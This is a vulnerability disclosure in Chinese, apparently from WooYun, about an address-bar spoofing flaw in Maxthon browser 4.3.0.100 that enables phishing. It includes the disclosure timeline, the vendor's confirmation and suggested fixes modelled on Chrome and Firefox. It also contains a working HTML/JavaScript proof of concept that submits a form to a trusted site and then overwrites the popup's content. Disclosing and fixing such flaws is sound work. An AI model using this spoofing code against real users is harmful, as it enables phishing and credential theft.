傲游浏览器4.3.0.100 表单请求伪造网站漏洞(可钓鱼)

漏洞详情

披露状态:

2014-02-24: 细节已通知厂商并且等待厂商处理中
2014-02-24: 厂商已经确认,细节仅向厂商公开
2014-02-27: 细节向第三方安全合作伙伴开放
2014-03-06: 细节向核心白帽子及相关领域专家公开
2014-03-16: 细节向普通白帽子公开
2014-04-05: 细节向实习白帽子公开
2014-05-25: 细节向公众公开

简要描述:

傲游浏览器4.3.0.100 表单请求伪造网站漏洞(默认设置即可,无须关闭广告拦截);poc两个方式,一个是onblur事件,这个有时候会因为广告过滤卡住……还有个是手点按钮的,这个没有问题,回回都能成功

详细说明:

浏览器的广告过滤没有过滤带target的表单弹窗,而且在内容加载完成之前就显示了地址,可以参考chrome的做法--页面没有触发下载完成事件前有任何改动都应该将页面地址栏置为about:blank



或者类似firefox的做法--弹窗时页面没加载完之前地址一律显示about:blank,只在标题栏上显示地址,加载完之后再替换



f1.png

漏洞证明:

<script>
var k=1;
window.onblur=s();
document.getElementById("xxx").submit();

function s(){
if(k>1)
{
window.open("javascript:document.write(3)","lll");

}
k++;
}

function s2(){
window.open("javascript:document.write(3)","lll");
window.onblur=function(){};
}
</script>
<body>
<form id="xxx" action="https://www.baidu.com/?" target="lll">
<input type="submit" value="click me if you turned your advertisement protect on" onclick="javascript:setTimeout('s2()',300);" />
</form>
</body>

修复方案:

版权声明:转载请注明来源 blast@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-02-24 12:26

厂商回复:

确认, URL 更改时机有问题. 感谢反馈

最新状态:

暂无


漏洞评价: